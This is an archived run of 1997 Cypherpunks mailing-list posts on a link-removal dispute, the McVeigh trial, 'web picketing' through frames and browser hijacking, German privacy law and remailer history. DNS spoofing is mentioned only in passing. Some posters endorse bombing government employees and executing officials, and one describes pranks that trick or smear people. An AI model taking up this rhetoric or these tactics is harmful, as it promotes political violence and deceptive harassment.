<33945CA6.1E69@primenet.com> Message-ID: <199706032115.QAA25185@corp.tivoli.com> Hi Duffy, > James, > > With regards to the page URL listed below: > > http://einstein.ssz.com/ravage/hacker.html > > The owner of the site of one the links listed has asked to have their > URL removed from this page. Since the source of the page was "The > Hackers Catalog", they contacted us. We removed their link promptly, > however, a web search showed your URL still remaining on the page. They > have asked us to remove all links back to them, so I am asking you to > remove the link to the "Guru's Lair" as soon as possible. It's the first > one on the top of the page. > > Thanks for helping... > > duffy > telecode at primenet.com Please do not send further email to 'jchoate at tivoli.com' as this has nothing to do with my business or the issue under discussion. ALL correspondance should occur through 'ravage at ssz.com' or phone at 512-451-7087 (8pm - 10pm CST only). Should I receive further email at Tivoli - IBM's site I will inform them of the breach on your part. First, let's set the record straight. I was NEVER asked to do anything. It was DEMANDED that I take the link down. When I explained that I would not do that I received an email accussing me of criminal libel. Not what I would call a request by any definition of that word. I don't like being threatened and it makes me less than cooperative when it happens. Furthermore, why should I take it down? Does the owner plan on dropping the site and therefore it is a dead link? Certainly I will take it down because it reflects badly on me having dead links. As to where the html that I currently possess came from originaly, I don't have a clue. I received it as a piece of email from somebody quite a while ago (memory says over a year). If it really did come from The Hackers Catalog and they are claiming copyright on it, I have no problem removing their html, I would replace it with the same links using my own text and html thereby removing the infringment. Is that what you are requesting? The next question that needs asked is whether there is any copyrighted material other than The Hackers Catalog claim. The link does not use any text or graphics from the target site. It furthermore does not even explicity identify the link. So it is clear that there is no copyrighted material from Don or his site residing on my server. So, the remaining question is does Don have the legal right to limit who may link to it. I do not believe that Don has any more right to decide who can link or furthermore visit his sight than my own. This in effect means none. I believe the only reasonable responce that I can have to this 'request' is to decline on any other issue other than removing the The Hackers Catalog and replacing it with my own file. So, are you representing The Hackers Catalog and requesting the removal of their fragment of html? If so then I have no problem replacing the file as soon as I receive a written notice from a legal representative detailing the complaint and the time period I have to correct the situation. If you are instead representing Don and requesting that I remove that specific link because of his disatisfaction with its location then I must refuse. I furthermore would request, as I have of Don, to forward me the name and number of the appropriate lawyer so that my legal council may contact them and begin proceedings. Have a nice day. Jim Choate The Armadillo Group ravage at ssz.com 512-451-7087 From frissell at panix.com Tue Jun 3 14:35:10 1997 From: frissell at panix.com (Duncan Frissell) Date: Wed, 4 Jun 1997 05:35:10 +0800 Subject: McVeigh In-Reply-To: <3.0.2.32.19970602232450.03a764b8@netcom13.netcom.com> Message-ID: <3.0.2.32.19970603171127.036e9fd0@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 11:25 AM 6/3/97 -0400, Hallam-Baker wrote: >There is absolutely nothing that the anti-government ranters contribute >to the pro-cryptography movement. They are a liability at best. Stuart >Baker is even now probably peddling his Clipper chip initiative in >Europe holding up one of Jim Bell's rants as "proof" of his case. Nothing except motivation. Anti-government ranters founded this list, invented remailers, and did a lot of other good work. DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5SIfIVO4r4sgSPhAQE/0QQAk5fzKoUnbJRs0x1QVyaXEW95fWHQiUzB Bwz5ulJfTV2FT/jM1MmwBzh37hEeWPthupJcIMJR3XsINs2eVw29ZgKN0VRjYYu+ +joXjinNv5alPA/4qF/JeEGrhzr8xe5nZwXfdpzvmx/JHZnjxPBtgMZB7WO/bFeS iBI1wZ7OYbg= =+Wuz -----END PGP SIGNATURE----- From hallam at ai.mit.edu Tue Jun 3 14:50:07 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Wed, 4 Jun 1997 05:50:07 +0800 Subject: McVeigh In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com> Message-ID: <199706032129.RAA10938@muesli.ai.mit.edu> > >There is absolutely nothing that the anti-government ranters contribute > >to the pro-cryptography movement. They are a liability at best. Stuart > >Baker is even now probably peddling his Clipper chip initiative in > >Europe holding up one of Jim Bell's rants as "proof" of his case. > > Nothing except motivation. Anti-government ranters founded this list, > invented remailers, and did a lot of other good work. Actually remailers were invented by a lass called Stephi whose hobbies appeared to include being tied up for fun. The original remailer operating out of wizvax was a script that allowed anonymous posts into alt.sex.bondage. Then it was expanded to support a couple of other newsgroups such as alt.abuse. When Stephi ran out of cash to keep wizvax running (I have a suspicion it was something expensive power wise) Julf took over the code and the scripts. I'll accept that the ranting faction do some good work but I've not seen anything usefull out of either Bell or Vulis unless that is you are an FBI agent looking to get a promotion from Freeh. Phill From jad at dsddhc.com Tue Jun 3 14:58:28 1997 From: jad at dsddhc.com (John Deters) Date: Wed, 4 Jun 1997 05:58:28 +0800 Subject: Webpage picketing?... In-Reply-To: <199706031316.IAA15007@einstein.ssz.com> Message-ID: <3.0.1.32.19970603164718.00a218e0@labg30> At 09:57 AM 6/3/97 -6, Peter Trei wrote: >Jim Choate wrote: >> I have been looking at how to impliment picketing on the web. To date I have >> been unable to come up with a way to force a connection to one machine to go >> through a third machine in order to express some view about the original >> target. There are a couple ways to do it. One would be to implement an "anonymizer" type scheme, where you "hijack" an unsuspecting surfer by sending him/her off to http://www.evil.hijacker.org/www.yahoo.com, where your server does the surfing for the victim, editing and picketing the HTML returned. You can do anything you want to them, your machine is in control of the http connections. Another method, which is quite a bit easier (and I've enclosed an example below,) is to throw up a frame; giving the bottom of the users the screen to wherever they surfed to, but retaining a frame on the top to play your parade of protest animated gif banners. Note that both of these require you to be an unscrupulous stealer of other peoples browser space. They also require the users arrive at your site first, and leave via your links (their own bookmarks or typed URLs will let them off the hook.) I don't know of a way (short of usurping a DNS server's authority) of getting hooked into their site from the first. I suppose if you ran a router between the site you wished to hijack and the viewer whom you've hijacked, you could, but we're talking MAJOR no-no (and lots of code) here. Enclosed is an example set of files that shows "permanent" frames of the type that hang around and annoy people. Cut'n'paste to save them to your local machine, then open the file fooIndex.htm with your frame-enabled browser. Notice how the banners (picket signs) hang around even after linking off to somewhere else. The drawback to this method is that your protest is not "dynamic". If they're on your vegetarian site, and follow your link to www.beef.com, your banners will scream "Meat is Murder." However, if they then follow the link from www.beef.com to www.fur-coat.com, they'll still be under "Meat is Murder" banners. You'd be unable to display the "Fur is Dead" banners, because the browser hasn't been talking to you since it loaded your page. John -- fooIndex.htm -- cut here -- Picket Line -- fooTop.htm -- cut here -- FooTop Title

This is FooTop.

Down with Foo! -- fooTopRight.htm -- cut here -- FooTopRight Title

This is FooTopRight.

Down with Bar! -- fooMain.htm -- cut here -- FooMain Title

This is FooMain.

Not to be confused with EggFooMein.

Click here to not be here. -- fooBar.htm -- cut here -- FooBar Title

This is FooBar.

You're not where you were before, but there are still picketers hanging about.

Where we want you to go today. -- end files -- cut here -- -- J. Deters "Don't think of Windows programs as spaghetti code. Think of them as 'Long sticky pasta objects in OLE sauce'." +--------------------------------------------------------------------+ | NET: mailto:jad at dsddhc.com (work) mailto:jad at pclink.com (home) | | PSTN: 1 612 375 3116 (work) 1 612 894 8507 (home) | | ICBM: 44^58'36"N by 93^16'27"W Elev. ~=290m (work) | | For my public key, send mail with the exact subject line of: | | Subject: get pgp key | +--------------------------------------------------------------------+ From hallam at ai.mit.edu Tue Jun 3 15:14:40 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Wed, 4 Jun 1997 06:14:40 +0800 Subject: McVeigh Message-ID: <199706032156.RAA11085@muesli.ai.mit.edu> Geiger writes: >That's right Phil you can sleep better now that all the evil millitia have >been distroyed. I'm sure you woun't mind when the Constitution is gone >too. Nothing to worry about after all you have Bill Clinton and his >buddies to make sure your safe. They said they would and they would never >lie. Well I supose there is the possibility your lot might see sense and ask to be readmitted to the British Empire but its by no means clear you would be re-admitted. And there would have to be reparitions for all that confiscated British property being used without compensation... >I'm sure if you were in Germany during the 30's that you would have >thought the "Jewish Solution" was a good thing after all the government >said it was. McVeigh is the racist extreemist who has committed mass murder in this case, not the government. While I would welcome it if you joined me in condeming US sponsored terorism during the cold war I don't think you are willing to do so. >That's ok Phil 1 little white boy will fry in the electric chair. But just >maybe your children will never have to know what it's like to live under a >Hitler or a Stalin because there are some in this country who are willing >to standup to the STATEST in DC who if given the chance will enslave us >all. But this threat does not come from the state, it comes from those like McVeigh who will murder children to further their agenda. The militias have not rejected the concept of a state, far from it they claim ownership of it, they claim that they have the right to dispense law, they claim the right to murder those who disagree with them. Their ideology is at root that of Musollini's fascists. It is surprising to find that you are so willing to be an open appologist for McVeigh's crime but in answer to your point: No children are going to grow up in a better world because of McVeigh or any of his followers, many will not grow up at all because he murdered them. Phill From 3umoelle at informatik.uni-hamburg.de Tue Jun 3 16:05:18 1997 From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=) Date: Wed, 4 Jun 1997 07:05:18 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <3.0.2.32.19970531153135.0076a2e4@netcom13.netcom.com> Message-ID: >German "dragnet investigations" and "pattern investigations" come to mind. >The German BKA (the equivalent of the FBI) keeps a giant database that >correlates "suspicious" behavior. [...] > >If you collect enough points, the feds come by to interrogate you. This is a gross exaggeration. "Pattern investigation" can be used to investigate certain severe crimes that cannot be solved otherwise. It must be warranted by a judge, naming the patterns that the respective committer is believed to match. There have been three "pattern investigations" ever, since the law was passed in 1991 (none of them successful). >It appears naive to claim that GAK could not happen under a Privacy >Commissioner. It could and it will. At least one German law professor argues that GAK is no problem if the escrow agents are regularly inspected by the Privacy Commissioner. The Privacy Commissioners on the other hand say that a crypto regulation would be unconstitutional. I agree that the existence of privacy officials will not prevent GAK. But the constitutional protection of privacy should. The German privacy regulation is based on a decision of the Constitutional Court which states that the citizen must be protected from an omniscient state, and from omniscient business. This decision clearly makes the scenario you described above illegal. The government draft of the Information and Communication Services Law specifies that service providers "shall make it possible for the user to use teleservices and to pay for them either anonymously or using a pseudonym, insofar as this is technically possible and can be reasonably expected". The Bundesrat (Upper House) disagrees: "Users [...] can also be information providers that e.g. post information to the Internet. If these have a legal claim to use the service anonymously, they will in future be able to commit crimes without having to fear to be identified." Others warn that failing to let the market decide will lead to misinvestments, and that anonymous services will quickly be deployed on a voluntary basis if there is a demand. It's probably obvious which of these are right. Nevertheless, I think it is encouraging that the government accepts that anonymity has a value. (They will never learn that sometimes it is better not to make a law.) From ryan at michonline.com Tue Jun 3 16:11:49 1997 From: ryan at michonline.com (Ryan Anderson) Date: Wed, 4 Jun 1997 07:11:49 +0800 Subject: Webpage picketing?... In-Reply-To: <3.0.1.32.19970603164718.00a218e0@labg30> Message-ID: On Tue, 3 Jun 1997, John Deters wrote: > Note that both of these require you to be an unscrupulous stealer of other > peoples browser space. They also require the users arrive at your site > first, and leave via your links (their own bookmarks or typed URLs will let > them off the hook.) I don't know of a way (short of usurping a DNS > server's authority) of getting hooked into their site from the first. I > suppose if you ran a router between the site you wished to hijack and the > viewer whom you've hijacked, you could, but we're talking MAJOR no-no (and > lots of code) here. It's not too difficult (in theory) to exploit some race conditions in recursive DNS lookups and to forge entries for sites. By doing this you should be able to redirect most sites to your site, from at least a selected audience. (Those people whose primary nameserver you can usurp) ----------------------------------------------------------------------- Ryan Anderson - "Who knows, even the horse might sing" Wayne State University - CULMA "May you live in interesting times.." ryan at michonline.com Ohio = VYI of the USA PGP Fingerprint - 7E 8E C6 54 96 AC D9 57 E4 F8 AE 9C 10 7E 78 C9 ----------------------------------------------------------------------- From lucifer at dhp.com Tue Jun 3 16:24:03 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Wed, 4 Jun 1997 07:24:03 +0800 Subject: Remove this link immediately Message-ID: <199706032304.TAA20710@dhp.com> > > > > > Your hackers resource page contains a link to my GURU'S LAIR WEB site > > > > > at http://www.tinaja.com > > > > > Please remove this link. > > > > > Please do so immediately. > > > > > > > > Short answer, no. If you don't want links to it don't put it on the net. "All you private property is target for your enemies." - Jefferson Airplane From nobody at huge.cajones.com Tue Jun 3 16:26:23 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 4 Jun 1997 07:26:23 +0800 Subject: Webpage picketing?... Message-ID: <199706032302.QAA01920@fat.doobie.com> Peter Trei wrote: > Jim Choate wrote: > > I have been looking at how to impliment picketing on the web. To date I have > > been unable to come up with a way to force a connection to one machine to go > > through a third machine in order to express some view about the original > > target. > > > > It occured to me > > that since one could argue that the links between sites are public avenues a > > site could 'picket' another site. The question became at this point, how? > Jim: > You may dislike > one of the sites linking to yours, but you really can't hijack their > connections and force people to listen to you who don't want to. Wrong! It's done every day in every media from newspapers to TV and points in between, including the InterNet. > Imagine if you could! Anyone who dislikes any other page on the > web could block access Like CyberSitter, for instance. They can keep your child from using the local library computer to access Humane Society pages and animal rights groups because they have the word "bitch" on their websites. > There are two things you *can* do. (With Peter's approval, but many more things you can do with my approval.) > 1. You can put a disclaimer on your page "If you linked here from > XXX.XXX.XXX, please be aware that I object to that connection for > the following reasons..." "...and I have uploaded a virus to your machine. Have a nice day." > 2. If you or your webmaster have any kind of technical > sophistication, you can force links to your page to go to a CGI > script, which uses the HTTP-referrer: header to provide different > pages depending on the source of the connection. "You have linked to the CHILD PORNOGRAPHY Home Page." "Information regarding your sexual proclivities will be forwarded to the FBI, the local religious and law enforcement authorities in your home town, as well as to your employer and known associates." "Have a nice day." > But please, don't try to extend the 'information superhighway' > (blech!) metaphor to include virtual sidewalks with picketing > rights Please, do! There is not a day goes by where government and corporate entities do not promote legislation or software standards, etc., which are designed to influence what we may and may not see, as well as in what manner we perceive it. There is no reason that the individual cannot work in their own way to counter activities that they see as working against their own personal interests. It is possible to promote a wide range of "links" to web pages which are "spoofs" of another page or which link to the page but do so by opening them in a window which has surrounding windows revealing contradictory opinons, links, etc. Provide a link to the "Pretty Lousy Privacy" homepage, but add a window which mentions that your ten year old son cracked their cryptography program. Provide a pointer to a copy of the latest crypto legislation, which you have "translated" to include phrases such as, "despite its blantant unconstitutionality" and "in order to shear the sheeple." You are under no obligation to produce links or pointers, or to respond to links or pointers to your own site, in a manner that runs contrary to your own self-interest, or which allow those following those links to do so with blind faith that they will receive information slanted only toward a pre-conceived view of the world. Someone posted a URL to a web page "spoof" done by a number of cypherpunks (Hal Finney??,??) who had placed a number of options such as "Click here to destroy your hard-drive.", etc. on the site. It was a very Zen koan type of page which made one think about what they were doing and the possibilities of what the web page authors were/could-be doing. Click on a link that states, "Click here to see Hot, Teenage Sluts" and you are likely to end up at hotmail.com, adding to their list of spammees. To join the Dorthy Denning fan club, send email to majordomo at toad.com with a message body that says "subscribe cypherpunks." One can change the content of another's message when replying to an email: > Peter Trei > Disclaimer: The above represents the opinion of the people who > are holding my family hostage. or invent whatever "facts" suit their purpose: "Dr. Vulis is a murdering Armenian and Jim Choate sends the ASCII art spams to the list. These are well-known facts to which they have admitted in the past." I have a lot of respect for Peter's work, opinions and for his integrity, but my perception is that he fails to understand that the InterNet is a growing mosaic which can and should reflect *all* of life, and that his perception of what the InterNet is and should be somehow dictates what should and should not be done on the InterNet. I think that what should be done on the InterNet is exactly what people *want* to do. It is up to their own conscience as to whether their actions are done with integrity and up to the rest of us to interpret and respond to those actions. Tim May replied to someone on the list that a subject header he had used was "guilty(?)" of being inflammatory, and that he had used it for that very reason, to draw attention to his post. Is this manipulative? It is the way life works. I used Peter Trei and others' software for the DES Challenge, but I posted a suggestion to the list that perhaps their programs contained subterfuge designed to thwart others in their attempts to find the secret keys. Was I spreading FUD? The responses to my post gave me much more information about the processes behind the software than any direct inquiries I had made about their workings. (And they reinforced the fact that "blind trust" in their programs or anyone else's is foolish.) In short, I do not see Jim's concept of "picketing" web sites to be lacking in ethics, any more than Dr. Vulis' "rants" or John Gilmore's "unsubscribing" of the good Doctor or Tim May's "prodding" of our attention by his choice of subject headers. Each of us is responsible for interpreting and analyzing the information we access whether it says the king is wearing clothes or the king is naked. I could put a pointer to Peter's software which opens an adjoining window which warns that it may be compromised as a result of ulterior motives. The fact is, however, that Peter might himself put a disclaimer on his page saying, "If you can't read code, then you can't be certain of what my software is doing." (As a matter of fact, I believe his documentation mentions that there is no guarantee his logic is not in error.) And in the extreme case of anti-abortionists intercepting the email of pro-choice groups and inserting "Abortion is Murder!" messages--if the person receiving the message can't figure out that something is amiss, then maybe its not a good idea for them to be having children, anyway. (maybe) TruthMonger (maybe not) To view the contents of the whitehouse.gov hard drive: http://www3.sk.sympatico.ca/carljohn/ From paul at fatmans.demon.co.uk Tue Jun 3 16:30:15 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 4 Jun 1997 07:30:15 +0800 Subject: McVeigh In-Reply-To: <3393682D.167E@ai.mit.edu> Message-ID: > > Yes, poor Tim Mcveigh. If he's innocent then he is one more victim > > of the OKC bomber. > > I'm surprised at the concern. After all I've not noticed militia > supporters and appologists speaking out against the death penalty. Tim McVeigh certainly acted for the right reasons. This does not make him any less guilty, he killed innocent children in that building (no, I`m not subscribing to the "save the children!" mentality, and do not believe that an innocent childs life is more valuable than that of an innocent adult, merely noting that as children they could not have been guilty of acts of agression against McVeigh or anyone else because they were under the age of criminal responsibility), if we were to say he were any less guilty we would be allowing ourselves to believe in thoughcrime, and not judging the overt act. Whether McVeigh himself did it or not is questionable, I believe he did, this is just a gut feeling, no jury should have convicted him on the pathetic collection of circumstantial evidence presented. > If one is driving away from the scene of the biggest single terrorist > incident on US soil one is probably well advised to both have > license plates on the car and not be carrying unlicensed firearms. Of course, but stupidity does not signify guilt. McVeigh almost seemed to WANT to be caught, this is backed up by the fact that he has right wing militia literature in his car at the time of his arrest. > If one is arrested its probably not advisable to counter interrogation > by refusing to give more than name rank and serial number, a request > to see a lawyer is probably a more sensible choice. McVeigh certainly didn`t make the smart choice, but he made the right choice, he was at war with the US government, name rank and number were all he was obliged to release. > The one problem I have with the trial is the leaking of the > defense notes. I suspect that they are genuine and that McVeigh > really did confess. I personally feel the same, McVeigh pleading not guilty suprised me, he originally planned a suicide attack I believe, which would lead me to suggest he would not later back down from his actions like that. > In the UK publication would be barred for > the duration of the trial and heavy jail sentences imposed since > the right to a fair trial is considered a reasonable justification > for a temporary bar on the right to free speech. In the UK anything is considered reasonable justification for restrictions on free speech, there are draconian restrictions on the freedom of the press. Of course, freedom of speech is absolute, if you believe a few rags printing allged defense notes will affect a prosecution you are probably right, that does not make censorship acceptable. > However I would > not argue that the trial be halted as a result since one > possible explanation is that the defense saw that there was no > chance of aquital and gambled on gaining a mistrial. The defense is a joke, but what do you expect? Whether McVeigh did it or not, the government wants someone to blame and McVeigh is the idea target, an anti-government "evil terrorist" to parade in front of the media. > Appologists for McVeigh should consider that his actions did not > advance the militia cause an iota, it destroyed it and along with > it much of the right wing fringe. It forced Rush Limbaugh off > television and many right wing hosts off radio. Indeed, McVeigh has harmed the cause of freedom. Quite the opposite of his intentions. > McVeigh ripped the heart out of the militia movement, he demonstrated > what it was really about. Ironically the Oaklahoma bombing may have > had precisely the effect McVeigh desired but in a very different > sense. It was a wake up call to defend the country from fascism > but the fascist threat was McVeigh and the millitia movement. Of course, if the militia movement were to have any effect a concentrated effort or even a few bombings killing only government employees would have been a better course of action. > recovered from the beer hall putsch. Alternatively they can > loudly claim that McVeigh was "framed" in the same way that > other neo-NAZIs on the net claim the holocaust a fake, i.e. > so that nobody really believes it. I suspect that this script The militias would be better to disown McVeigh and condemn his alleged actions because he killed innocents. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Tue Jun 3 16:33:22 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 4 Jun 1997 07:33:22 +0800 Subject: Guilty Verdict in Denver Show Trial In-Reply-To: <199706021939.MAA09926@netcom18.netcom.com> Message-ID: > For extra credit, let's have a pool to predict the number of federal > buildings which will blow up on the day of the execution. A BD (building destruction) bot then? I`m sure there will be one or two, to mark the fact that the bombing took place on the day of the murders at Wako (or was it Ruby ridge?, my memory fails me). I certainly hope a large number of government criminals are executed on the same day as McVeigh. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Tue Jun 3 16:35:34 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 4 Jun 1997 07:35:34 +0800 Subject: okc trial In-Reply-To: <199706030019.UAA24151@teleplex.net> Message-ID: > I hope Tim McVeigh frys. His friend Terry too. > > "Dust off old sparky, its time to start cooking" You do not question McVeighs guilt? Also, I believe he was tried in Denver, Collorado? - Don`t they use lethal injection? Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Tue Jun 3 16:38:36 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 4 Jun 1997 07:38:36 +0800 Subject: Rotenberg or Berman? (was Re: e$: Beltway piglets and other barnyard animals) In-Reply-To: Message-ID: > Dr. Froomkin, who I admire and respect very much, may call remarks like > those cannibalism (nice Carib indian word, cannibal), but for myself, I > prefer to think of it as Texas barbeque. :-). > > Here, Micheal, have some of those baby back ribs over there. I just made > them myself. Just a touch of habanero in the sauce (and Pearl beer, of > course) makes all the difference in the world. Your semi-flippant comment has actually given me a really good idea: I had thought guns were our best defence against the evil empire, I now realise a log fire and a spit are more appropriate, I look forward to eating Tony Blairs liver with a nice Chianti ... Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From mpd at netcom.com Tue Jun 3 16:39:22 1997 From: mpd at netcom.com (Mike Duvos) Date: Wed, 4 Jun 1997 07:39:22 +0800 Subject: McVeigh In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu> Message-ID: <199706032319.QAA24709@netcom15.netcom.com> Phill writes: > McVeigh is the racist extreemist who has committed mass murder in this > case, not the government. While I would welcome it if you joined me in > condeming US sponsored terorism during the cold war I don't think you > are willing to do so. No government can afford to behave in a way that outrages large numbers of citizen-units, and provokes action on the part of the less mentally stable ones. Janet Reno sealed the fate of the federal building on the day that she took action which resulted in numerous children being incinerated, just so she could win a dicksizing contest with a religious extremist. > But this threat does not come from the state, it comes from those like > McVeigh who will murder children to further their agenda. I worry a lot more about the behavior of the United States, the nation that never apologizes, the arms merchant to the world, five percent of the population of the world that thinks it has the Manifest Destiny to dictate to the other ninety five percent, than I worry about whether such behavior inspired little Timmy McVeigh and others of his ilk to set off a truck bomb. I think the odds are about 50/50 between McVeigh being the bomber, and McVeigh being the first anti-government extremist sap the Feds tripped over after their precious building blew up. It's not as if we have the ability to make that distinction given coerced testimony from friends, planned leaks, and invented testimony from the FBI crime lab, all of which could have been easily manufactured for an arbitrary suspect. Maybe McVeigh blew up the building, and maybe he didn't. Like the Kennedy assassination, the official version of the facts is now all that exists. > It is surprising to find that you are so willing to be an open appologist > for McVeigh's crime but in answer to your point: No children are going to > grow up in a better world because of McVeigh or any of his followers, > many will not grow up at all because he murdered them. Along with many Vietnamese children, Granadian children, Panamanian children, and Quadaffi's baby. At least in Oklahoma city, we didn't have marines bulldozing the bodies of dead civilians into trenches to make everything neat and tidy before the press arrived. Yes, Oklahoma city was unfortunate. It was not remarkable or unexpected. If the government deliberately kills Tim Mcveigh, it will not bring back a single dead person. It will just demonstrate that we have a government that deliberately kills people. But then, we knew that already, didn't we? -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From kent at songbird.com Tue Jun 3 16:40:40 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 4 Jun 1997 07:40:40 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: <19970603162831.63845@bywater.songbird.com> On Mon, Jun 02, 1997 at 01:21:54PM -0700, Tim May wrote: [...] > Suffice it to say for now that many people have been on the list, and then > dropped off. For lots of reasons. And their reasons are not something I > feel I need to worry about. They'll do what they want to do. Some graduated > from school, some got crypto jobs, some decided they'd had enough, some > agreed with the basic views but were ready to move on, some despised our > basic outlook, some were told by their employers their subversive > activities were a career impediment, some disliked the yahoos and lunatics, > some wanted censorship and left when they didn't get it, some never > bothered to resubscribe after being dropped for one reason or another, and > so on. Some grew up. Some, like Peter Pan, want to remain children forever. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From kent at songbird.com Tue Jun 3 16:40:45 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 4 Jun 1997 07:40:45 +0800 Subject: May's Banal Rant In-Reply-To: <6333@lawprof.demon.co.uk> Message-ID: <19970603161233.30762@bywater.songbird.com> On Mon, Jun 02, 1997 at 11:04:50AM -0700, Lucky Green wrote: >At 12:14 PM 6/2/97 BST, Michael Froomkin wrote: > >Rotenburg should be a near-hero to most readers of this list. Instead, > >canabalism. Weird. Very weird. > Michael, > You need to realize that Cypherpunks transitionally has been about the You must mean "traditionally", right? >*elimination* of all governments. Cypherpunks' goal is called >crypto-anarchy for a reason. In fact, for Cypherpunks cryptography is >simply an exceptionally effective tool to achieve anarchy. The >governments share the belief that wide spread use of crypto will possibly >lead to anarchy, which is why they attempt to limit its use. The rest is >smoke and mirrors and statements by people that fail to understand that >the whole crypto issue is about anarchy and not about math. I don't know about governments in general, but I don't think the US government is seriously concerned that cryptography will lead to "anarchy". Their concerns about cryptography are much narrower, about how cryptography can aid criminals, help people avoid taxes, etc. These government concerns don't sum to anything even close to anarchy, either in the traditional literary sense or the obscure technical sense preferred on this list. > Anarchy can not be achieved by negotiations or cooperation with any >branch of government. Neither can crypto-anarchy be achieved by nuking >DC. > I certainly can understand the reasons that >would lead a person to start > thinking that "something is better than nothing" or "the bastards need to >receive the punishment they so richly deserve". Neither view will help to >further crypto-anarchy in any meaningful way. Crypto-anarchy is like communism -- great in theory, impossible in practice. > Have fun, You too :-) -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From paul at fatmans.demon.co.uk Tue Jun 3 16:43:18 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 4 Jun 1997 07:43:18 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: > One other point about EPIC's role in the crypto debates - > we've done very little in the legislative realm other > than to argue for relaxation of crypto controls, > oppose DT, DT funding, and criminalization of crypto. > You want to find the folks cutting the deals, look > elsewhere. Behind the scenes for example? > against Clipper, in Paris against TTP, and two > weeks ago in London against the DTI proposal. No thanks, we don`t want your "help". Of course you are free to act as you like, but your co-operation with the criminal scum that rule us shows you as what you are. > See, another problem with the Libertarian view of the world is > you can't accept the idea that an organization in Washington, > DC does real government oversight or political advovacy. It > doesn't fit with your notecard-sized description of the world. My view of the world is wider than your view up the ass of Washington poloticians when you are licking your way to a deal. > Free speech is wasted on closed minds. My time is wasted on you... Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From tcmay at got.net Tue Jun 3 16:57:13 1997 From: tcmay at got.net (Tim May) Date: Wed, 4 Jun 1997 07:57:13 +0800 Subject: Who "invented" remailers? In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com> Message-ID: At 2:29 PM -0700 6/3/97, Hallam-Baker wrote: >> >There is absolutely nothing that the anti-government ranters contribute >> >to the pro-cryptography movement. They are a liability at best. Stuart >> >Baker is even now probably peddling his Clipper chip initiative in >> >Europe holding up one of Jim Bell's rants as "proof" of his case. >> >> Nothing except motivation. Anti-government ranters founded this list, >> invented remailers, and did a lot of other good work. > >Actually remailers were invented by a lass called Stephi whose hobbies >appeared to include being tied up for fun. The original remailer >operating out of wizvax was a script that allowed anonymous posts >into alt.sex.bondage. Then it was expanded to support a couple of >other newsgroups such as alt.abuse. When Stephi ran out of cash to >keep wizvax running (I have a suspicion it was something expensive >power wise) Julf took over the code and the scripts. While I didn't make the claim that remailers were invented by us, I think I understand Duncan's point to refer to "true" remailers, not the Kleinpaste/Julf form used in anon.penet.fi. And even these were not "invented" by us, but rather were implementations, initially by Eric Hughes and Hal Finney, then by several others (the refinements, by Matt Ghio and Lance Cottrell, and the "premail" scripts of Raph Levien, and others), of David Chaum's 1981 "digital mixes." The Kleinpaste/Julf "remailer" lacks basic security provisions, and is more properly called an "anonymizing service," in my opinion. (I'm not familiar with the "Stephi" story, but I know Kleinpaste wrote up a simple anonymizing service, which he claims he did in one evening, and decided not to support it; he transferred the code to Julf, who supported and (I presume) enhanced it, and the rest is history). The Julf anonymizing service was of course vulnerable to legal attacks, and several were mounted. Julf shut the system down at about the time two of them were causing him great trouble, the Scientologist suit, and the front page article in a British tabloid saying his site helped child pornographers (which is undeniably true, of course). >I'll accept that the ranting faction do some good work but I've >not seen anything usefull out of either Bell or Vulis unless that >is you are an FBI agent looking to get a promotion from Freeh. This member of the "ranting faction" is happy with what he is done. I am not a C++ programmer and have no interest in spending my life worrying about malloc and buffer overruns. I am of course glad that some folks do make this their life's work. At the first Cypherpunks physical meeting I spent a couple of hours educating people on how Chaumian mixes work, and why they are important for free speech and the colonization of cyberspace. I set up a paper game, beforehand, 